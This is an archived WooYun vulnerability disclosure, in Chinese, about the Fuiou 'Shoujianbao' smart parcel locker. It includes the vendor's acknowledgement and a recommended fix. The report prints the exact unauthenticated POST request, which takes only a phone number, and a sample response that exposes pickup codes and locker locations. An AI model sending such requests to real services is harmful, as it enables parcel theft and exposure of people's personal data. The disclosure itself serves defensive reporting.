当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0147151

漏洞标题：富友收件宝无须密码通过手机号即可取件

相关厂商：上海富友金融网络技术有限公司

漏洞作者： goooodbye

提交时间：2015-10-16 14:24

修复时间：2015-11-30 14:46

公开时间：2015-11-30 14:46

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-16： 细节已通知厂商并且等待厂商处理中
2015-10-16： 厂商已经确认，细节仅向厂商公开
2015-10-26： 细节向核心白帽子及相关领域专家公开
2015-11-05： 细节向普通白帽子公开
2015-11-15： 细节向实习白帽子公开
2015-11-30： 细节向公众公开

简要描述：

富友收件宝智能快递柜，无须密码登录，只需要知道用户手机号即可获取用户在快递柜的包裹列表信息，包裹信息中取件地址和提取码。
通过手机号和提取码即可从快递柜中取件。

详细说明：

用户需要通过手机号和密码登录以后，才能看到自己的包裹列表，包括包裹的取件地址和取件密码。
而实际上只需要利用浏览器或者其它工具如postman发送Post请求

https://fly.fuiou.com/pkgMng/queryScanPkg.sxf?FM=<FM><Ver>1.3.1</Ver><IsMorePkg>0</IsMorePkg><Lid>这里是手机号</Lid><Rmk3>1</Rmk3><Rmk2></Rmk2><Latitude></Latitude><Rmk1></Rmk1><Longitude></Longitude><PTp>2</PTp><NetTp>2</NetTp><Rmk4>1</Rmk4></FM>


即可获得包裹列表信息

<FM>
    <Rcd>0000</Rcd>
    <RDesc>成功</RDesc>
    <List>
        <DrawCode>1234</DrawCode>
        <HostAddr>取件地址</HostAddr>
        <AreaNm>小区名</AreaNm>
        <CourierNm>快递员姓名</CourierNm>
        <CourierMobile>快递员手机号</CourierMobile>
        <CourierCompany>快递公司</CourierCompany>
        <CourierCompanyIcon>广告图片</CourierCompanyIcon>
        <PackStat>包裹状态</PackStat>
        <PackDesc>已提取</PackDesc>
        <PostNo></PostNo>
        <OpenWay></OpenWay>
        <PushTs>推送时间</PushTs>
        <PopTs>开箱地址</PopTs>
        <AreaNo>地域编号</AreaNo>
        <BoxNo>箱号</BoxNo>
        <HostId></HostId>
        <IfOpen>是否已经打开</IfOpen>
        <MsgShare>我的快件到收件宝啦！用我的手机号和提取码XXXXX帮我取下件吧。地址：XXXX！fly.fuiou.com下载富友收件宝</MsgShare>
        <WxShare>我的快件到收件宝啦。&amp;请用我的手机号帮取下件吧。&amp;&amp;小区名： &amp;布放地： &amp;提取码：XXXX&amp;&amp;来自 富友收件宝&amp;【点击http://fly.fuiou.com，下载收件宝，更多优惠活动哟】</WxShare>
        <showAd>1</showAd>
        <imgNm></imgNm>
        <imageUrl></imageUrl>
        <type>1</type>
        <actionAddr>purchasedetail.html</actionAddr>
        <data></data>
        <showBar>0</showBar>
        <barName>ACTIVITY</barName>
        <folder>o2o</folder>
        <isInvokeNative>1</isInvokeNative>
    </List>
</FM>


任何人只要通过该手机号和取件码就可以提取包裹。

漏洞证明：

2.png

修复方案：

建议在该接口中增加授权认证

版权声明：转载请注明来源 goooodbye@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-10-16 14:45

厂商回复：

感谢发现问题，已经在处理。

最新状态：

暂无

漏洞评价：

评价